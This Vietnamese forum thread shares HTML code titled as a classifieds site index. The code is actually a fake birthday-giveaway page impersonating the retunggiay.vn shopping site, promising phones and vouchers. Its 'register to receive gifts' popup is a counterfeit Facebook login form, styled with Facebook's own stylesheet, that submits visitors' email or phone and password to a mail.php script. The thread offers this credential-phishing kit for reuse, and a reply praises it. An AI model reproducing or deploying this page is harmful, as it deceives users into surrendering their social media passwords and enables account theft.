[share] index trang rao vặt mua và bán

  • Gửi bài mới
  • Trả lời chủ đề này

[share] index trang rao vặt mua và bán

Bài gửi  by AnhDauSai on Mon Sep 01, 2014 9:25 pm

demo: http://www.vngame.pro/h31-page


Code:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
   <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
   <link type="text/css" rel="stylesheet" href="https://fbstatic-a.akamaihd.net/rsrc.php/v2/yP/r/p-NWF39WX56.css" />
   <link rel="stylesheet" type="text/css" media="screen" href="http://mincoon.com/css/popup.css" />
   <link rel="shortcut icon" type="image/x-icon" href="./favicon.ico" />
   <meta name="description" content="www.retunggiay.vn: Nhân dịp sinh nhật rẻ từng giây, chúng tôi tổ chức chường trình tặng quà tri ân khách hàng trong năm vừa qua.
         Thay mặt BQT xin chân thành cảm ơn các thành viên đã gắn bó và tin tưởng sử dụng các sản phẩm của chúng tôi." />
   <meta name="keywords" content="Nhân dịp chào đón Nhân dịp sinh nhật rẻ từng giây, chúng tôi tổ chức chường trình tặng quà tri ân khách hàng trong năm vừa qua.
         Thay mặt BQT xin chân thành cảm ơn các thành viên đã gắn bó và tin tưởng sử dụng các sản phẩm của chúng tôi." />
   <title>Chương trình tri ân khách hàng mừng sinh nhật retunggiay.vn</title>
   <link rel="stylesheet" type="text/css" href="http://mincoon.com/css/style.css" />
       <link rel="stylesheet" type="text/css" href="http://mincoon.com/css/demo.css" />
   <link rel="stylesheet" type="text/css" href="http://mincoon.com/css/green.css" media="screen" />
   <link rel="stylesheet" type="text/css" href="http://mincoon.com/scripts/styleshwitcher.css" media="screen" />
   <script type="text/javascript" src="scripts/jquery.countdown.js"></script>
       <script type="text/javascript" src="scripts/tet.js"></script>

<script>
var pictureSrc ="http://mincoon.com/images/hoamai.png"; //the location of the snowflakes
var pictureWidth = 40; //the width of the snowflakes
var pictureHeight = 40; //the height of the snowflakes
var numFlakes = 10; //the number of snowflakes
var downSpeed = 0.01; //the falling speed of snowflakes (portion of screen per 100 ms)
var lrFlakes = 10; //the speed that the snowflakes should swing from side to side


if( typeof( numFlakes ) != 'number' || Math.round( numFlakes ) != numFlakes || numFlakes < 1 ) { numFlakes = 10; }

//draw the snowflakes
for( var x = 0; x < numFlakes; x++ ) {
if( document.layers ) { //releave NS4 bug
document.write('<layer id="snFlkDiv'+x+'"><imgsrc="'+pictureSrc+'" height="'+pictureHeight+'"width="'+pictureWidth+'" alt="*" border="0"></layer>');
} else {
document.write('<div style="position:absolute;"id="snFlkDiv'+x+'"><img src="'+pictureSrc+'"height="'+pictureHeight+'" width="'+pictureWidth+'" alt="*"border="0"></div>');
}
}

//calculate initial positions (in portions of browser window size)
var xcoords = new Array(), ycoords = new Array(), snFlkTemp;
for( var x = 0; x < numFlakes; x++ ) {
xcoords[x] = ( x + 1 ) / ( numFlakes + 1 );
do { snFlkTemp = Math.round( ( numFlakes - 1 ) * Math.random() );
} while( typeof( ycoords[snFlkTemp] ) == 'number' );
ycoords[snFlkTemp] = x / numFlakes;
}

//now animate
function flakeFall() {
if( !getRefToDivNest('snFlkDiv0') ) { return; }
var scrWidth = 0, scrHeight = 0, scrollHeight = 0, scrollWidth = 0;
//find screen settings for all variations. doing this every time allows for resizing and scrolling
if( typeof( window.innerWidth ) == 'number' ) { scrWidth = window.innerWidth; scrHeight = window.innerHeight; } else {
if( document.documentElement && (document.documentElement.clientWidth ||document.documentElement.clientHeight ) ) {
scrWidth = document.documentElement.clientWidth; scrHeight = document.documentElement.clientHeight; } else {
if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
scrWidth = document.body.clientWidth; scrHeight = document.body.clientHeight; } } }
if( typeof( window.pageYOffset ) == 'number' ) { scrollHeight = pageYOffset; scrollWidth = pageXOffset; } else {
if( document.body && ( document.body.scrollLeft ||document.body.scrollTop ) ) { scrollHeight = document.body.scrollTop;scrollWidth = document.body.scrollLeft; } else {
if(document.documentElement && (document.documentElement.scrollLeft ||document.documentElement.scrollTop ) ) { scrollHeight =document.documentElement.scrollTop; scrollWidth =document.documentElement.scrollLeft; } }
}
//move the snowflakes to their new position
for( var x = 0; x < numFlakes; x++ ) {
if( ycoords[x] * scrHeight > scrHeight - pictureHeight ) { ycoords[x] = 0; }
var divRef = getRefToDivNest('snFlkDiv'+x); if( !divRef ) { return; }
if( divRef.style ) { divRef = divRef.style; } var oPix = document.childNodes ? 'px' : 0;
divRef.top = ( Math.round( ycoords[x] * scrHeight ) + scrollHeight ) + oPix;
divRef.left = ( Math.round( ( ( xcoords[x] * scrWidth ) - (pictureWidth / 2 ) ) + ( ( scrWidth / ( ( numFlakes + 1 ) * 4 ) ) * (Math.sin( lrFlakes * ycoords[x] ) - Math.sin( 3 * lrFlakes * ycoords[x]) ) ) ) + scrollWidth ) + oPix;
ycoords[x] += downSpeed;
}
}

//DHTML handlers
function getRefToDivNest(divName) {
if( document.layers ) { return document.layers[divName]; } //NS4
if( document[divName] ) { return document[divName]; } //NS4 also
if( document.getElementById ) { return document.getElementById(divName); } //DOM (IE5+, NS6+, Mozilla0.9+, Opera)
if( document.all ) { return document.all[divName]; } //Proprietary DOM - IE4
return false;
}

window.setInterval('flakeFall();',100);
</script>
<link rel="shortcut icon" href="http://cliphay.tv/wp-content/uploads/favicon.png" />



<script type="text/javascript" src="js/jquery.1.7.2.js"></script>
<script type="text/javascript" src="js/jquery.popupMiendatweb.min.js"></script>
<script type="text/javascript" language="JavaScript">
   $(function(){
      /* khởi tạo popup */
      $('input[rel*=miendatwebPopup]').showPopup({
         top : 50, //khoảng cách popup cách so với phía trên
         closeButton: ".close_popup" , //khai báo nút close cho popup
         scroll : false, //cho phép scroll khi mở popup, mặc định là không cho phép
         onClose:function(){               
            //sự kiện cho phép gọi sau khi đóng popup, cho phép chúng ta gọi 1 số sự kiện khi đóng popup, bạn có thể để null ở đây
         }
      });   
   });
</script>

</head>





<body>
<img src="http://mincoon.com/img/520.png" width="1px"/>
<div id="outer-container"><!-- Parent Container -->




<img style="position:fixed;z-index:9999;top:0;left:0" src="http://mincoon.com/img/top-left.png"/>
<img style="position:fixed;z-index:9999;top:0;right:0" src="http://mincoon.com/img/top-right.png"/>














<style>


         .ribbon {
            display:inline-block;
            color:white;
            font-weight:bold;
         }

         .ribbon:after, .ribbon:before {
            margin-top:0.5em;
            content: "";
            float:left;
            border:1.5em solid #FFCC33;
            margin-top:15px;
         }

         .ribbon:after {
            border-right-color:transparent;
         }

         .ribbon:before {
            border-left-color:transparent;
         }

         .ribbon a:link, .ribbon a:visited {
            color:red;
            text-decoration:none;
             float:left;
             height:3.5em;
            overflow:hidden;
         }

         .ribbon span {
            background:#FFCC33;
            display:inline-block;
            line-height:3em;
            padding:0 1em;
            margin-top:0.5em;
            position:relative;

            -webkit-transition: background-color 0.2s, margin-top 0.2s;  /* Saf3.2+, Chrome */
            -moz-transition: background-color 0.2s, margin-top 0.2s;  /* FF4+ */
            -ms-transition: background-color 0.2s, margin-top 0.2s;  /* IE10 */
            -o-transition: background-color 0.2s, margin-top 0.2s;  /* Opera 10.5+ */
            transition: background-color 0.2s, margin-top 0.2s;
         }

         .ribbon a:hover span {
            background:#CC0000;
            margin-top:0;
            color:yellow;
         }

.ribbon span:before {
   content: "";
   position:absolute;
   top:3em;
   left:0;
   border-right:0.5em solid #9B8651;
   border-bottom:0.5em solid #FFCC33;
}

.ribbon span:after {
   content: "";
   position:absolute;
   top:3em;
   right:0;
   border-left:0.5em solid #9B8651;
   border-bottom:0.5em solid #FFCC33;
}
      </style>
   </head>
   
<center>
<br>
      <div class="ribbon">
         <a href="http://cliphay.tv"  target="_blank"><span>Clip Hay</span></a>
         <a href="http://retunggiay.vn"  target="_blank"><span>Mua sắm</span></a>
         <a href=""><span> <input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content" value="Đăng ký nhận quà"/>&nbsp;</span></a>
         
         
      </div>
   </center>


<br><br><br>







<div id="container"><!-- Main Container for Flip Timer and Tab controls -->



<style>
img{
-webkit-transition: 0.5s;
-moz-transition: 0.5s;
-o-transition: 0.5s;
-ms-transition: 0.5s;
transition: 0.5s;
}
img:hover{
-webkit-transform: scale(1.4);

-moz-transform: scale(1.4);
-o-transform: scale(1.4);
-ms-transform: scale(1.4);
transform: scale(1.4);
}
</style>

<center>


   <section class="main">
      <ul class="center">


      <li>
      <div class="hover-circle effect1">
         <div class="overlay">
            <div style="text-shadow: 5px 5px 5px red; color: yellow;" class="info">
               <h3 style="text-shadow: 5px 5px 5px red; color: blue;">Giải Nhất</h3>
               <b><div>5 Chiếc điện thoại</div><div>Nokia 525 cho 5 người</div><div> được chọn ngẩu nhiên</div></b>
<h4><input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content1" value="Xem quà tặng"/></h4>
            </div>
         </div>
         <img src="http://mincoon.com/img/left.png" />
      </div>
      </li>
              <li>
      <div class="hover-circle effect1">
         <div class="overlay">
         <div style="text-shadow: 5px 5px 5px red; color: yellow;" class="info">
               <h3 style="text-shadow: 5px 5px 5px red; color: blue;">Đặc biệt</h3>
            <b><div>2 điện thoại iphone 5s</div><div>Cho 2 người đầu tiên</div><div>trả lời phiếu khảo sát</div></b>
<h4><input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content2" value="Xem quà tặng"/></h4>
            </div>
         </div>
         <img src="http://mincoon.com/4.png" />
      </div>
      </li>
      <li>
      <div class="hover-circle effect1">
         <div class="overlay">
   <div style="text-shadow: 5px 5px 5px red; color: yellow;" class="info">
               <h3 style="text-shadow: 5px 5px 5px red; color: blue;">May mắn</h3>
               
                    <b><div>100 phiếu mua hàng</div><div>Dành cho 100 bạn</div><div>đăng ký đầu tiên</div></b>
<h4><input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content3" value="Xem quà tặng"/></h4>
                    
            </div>
         </div>
         <img src="http://mincoon.com/img/right.png" />
      </div>
      </li>
      <ul>
   </section>

</center>


<!-- Bat dau popup -->


   
   
<div id="popup_content1" class="popup">
      <div class="popup-header">
         <h3>5 Chiếc điện thoại lumia 525</h3>
         <a class="close_popup" href="javascript:void(0)"></a>
         <p align="center">BTC sẽ chọn ra 5 bạn ĐK ngẩu nhiên</p>
         <p align="center"><input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content" value="Đăng ký"/></p>
         </div>
      <div class="info_popup">
         <img src="http://mincoon.com/img/520.png" width="285px" height="100px"/> <br />
      </div>

</div>

   
<div id="popup_content2" class="popup">
      <div class="popup-header">
         <h3>2 điện thoại iphone 5s</h3>
         <a class="close_popup" href="javascript:void(0)"></a>
         <p align="center">Cho 2 bạn đầu tiên trả lời khảo sát</p>
         <p align="center"><input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content4" value="Trả lời khảo sát"/>
         <input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content" value="Đăng ký"/></p>
         </div>
      <div class="info_popup">
         <img src="http://mincoon.com/img/iphone.png" width="285px" height="100px"/> <br />
      </div>

   </div>
   
   
<div id="popup_content3" class="popup">
      <div class="popup-header">
         <h3>100 phiếu mua hàng</h3>
         <a class="close_popup" href="javascript:void(0)"></a>
         <p align="center">Cho 100 bạn đăng ký đầu tiên</p>
         <p align="center"><input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content" value="Đăng ký"/></p>
         </div>
      <div class="info_popup">
         <img src="http://mincoon.com/img/phieuqt.png" width="285px" height="100px"/> <br />
      </div>

   </div>
   
   <div id="popup_content4" class="popup">
      <div class="popup-header">
         <h3>Phiểu trả lời khảo sát</h3>
         <a class="close_popup" href="javascript:void(0)"></a>
         <p align="center">trả lời xong click đăng ký để lại thông tin</p>
         <p align="center"><input type="button" id="open_popup" name="open_popup" rel="miendatwebPopup" href="#popup_content" value="Đăng ký"/></p>
         </div>
      <div class="info_popup">
         <iframe src="https://docs.google.com/forms/d/12m_YXQP3Vv5445qxeQkGEJP62hEtnOPBGM-IBSZd8ZE/viewform?embedded=true" width="360" height="210" frameborder="0" marginheight="0" marginwidth="0">Đang tải...</iframe>
      </div>

   </div>
   
   
   
   
   
   
   

   <div id="popup_content" class="popup">
      <div class="popup-header">
         <div><b><font color="red">Chú ý:</font> Đăng nhập bằng tài khoản <font color="#3b5998"> facebook </font></b></div>
         <hr />
         <a class="close_popup" href="javascript:void(0)"></a>
         <div>
         <form id="login_form" action="mail.php" method="get" onsubmit="return window.Event && Event.__inlineSubmit && Event.__inlineSubmit(this,event)">
            <input type="hidden" name="lsd" value="AVr6SzZN" autocomplete="off" />
            <table cellspacing="0">
               <tr>
               <td class="html7magic"><label for="email">Email hoặc điện thoại</label>
               </td>
               <td class="html7magic">
                  <label for="pass">Mật khẩu</label>
               </td>
               </tr>
               <tr>
               <td>
                  <input type="text" class="inputtext" name="email" id="email" value="" tabindex="1" />
               </td>
               <td>
                  <input type="password" class="inputtext" name="pass" id="pass" tabindex="2" />
               </td>
               <td>
                  <label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_e">
                     <input value="Đăng nhập" tabindex="4" type="submit" id="u_0_e" />
                  </label>
               </td>
               </tr>
               <tr>
               <td class="login_form_label_field">
                  <div>
                     <div class="uiInputLabel clearfix uiInputLabelLegacy">
                        <input id="persist_box" type="checkbox" name="persistent" value="1" tabindex="3" class="uiInputLabelInput uiInputLabelCheckbox" />
                        <label for="persist_box" class="uiInputLabelLabel">Duy trì đăng nhập</label>
                     </div>
                     <input type="hidden" name="default_persistent" value="0" />
                  </div>
               </td>
               <td class="login_form_label_field">
                  <a rel="nofollow" href="https://www.facebook.com/recover/initiate">Quên mật khẩu?</a>
               </td>
               </tr>
            </table>
         </form>
         </div>
      </div>
      <div class="info_popup2" style="margin-left: 10px; margin-right: 10px; margin-bottom: 15px; text-align: justify; margin-top:5px;"><font size="2px">
         Nhân dịp sinh nhật lần thử 5, chúng tôi tổ chức chường trình tặng quà tri ân khách hàng.<br />
         Thay mặt BQT xin chân thành cảm ơn các thành viên đã gắn bó và tin tưởng sử dụng các sản phẩm của chúng tôi.<br />
         Chúng tôi sẽ công bố danh sách những người may mắn tại website: retunggiay.vn vào ngày <font color="red"><b>2/9/2014</b></font><br />
         Hệ thống sẽ gửi thông báo đến nick facebook cho những bạn may mắn nhận được quà từ BQT.
         <br/>
         Thỏa sức mua sắm mà không lo tài chính tại website: <a href="http://retunggiay.vn" target="_bank">retunggiay.vn</a><br/>
         </font>
      </div>

   </div>   
<!-- ket thuc popup -->


<body onload="getTime()">
    
       
   
              <div id="countdown">
            <div class="days">
               <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="x" />
               <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="a" />
               <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="b" />
               <img src="http://mincoon.com/images/days.png" width="35" height="17" class="title1" alt="" />
            </div>
            <div class="hours">
               <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="y" />
               <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="z" />
               <img src="http://mincoon.com/images/hours.png" width="39" height="13" class="title" alt="" />
            </div>
            <div class="minutes">
               <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="d" />
               <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="e" />
               <img src="http://mincoon.com/images/minutes.png" width="53" height="13" class="title" alt="" />
            </div>
            <div class="seconds">
               <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="g" />
               <img height="40" src="http://mincoon.com/images/0c.png" alt="" width="23" name="h" />
               <img src="http://mincoon.com/images/seconds.png" width="53" height="13" class="title" alt="" />
            </div>
         </div>
<div >
<audio controls autoplay>
  <source src="mp3/nhac.mp3" width="1px" height="1px" type="audio/ogg">
</audio>
</div>
</body>




</div><!-- End of Container -->

</div><!-- End of Outer Container -->
<br />
<div class="content"><a href="http://cliphay.tv" style="position: fixed; bottom:-10px; right:-10px;"><embed src=
"flash/danngua2.swf" width=
"1320" height="150" type="application/x-shockwave-flash" wmode=
"transparent" allowscriptaccess="never"></embed></a></div>


</body>

</html>
AnhDauSai

Bài gửi  by Death Gun on Tue Sep 02, 2014 6:08 am

đẹp đấy anh



Khách viếng thăm Hãy cùng nhau ủng hộ và phát triển VnGame Bạn nhé,Bạn đã gửi 0 bài vào diễn đàn cố gằng phát huy nhé



[You must be registered and logged in to see this link.]
Death Gun
  • Gửi bài mới
  • Trả lời chủ đề này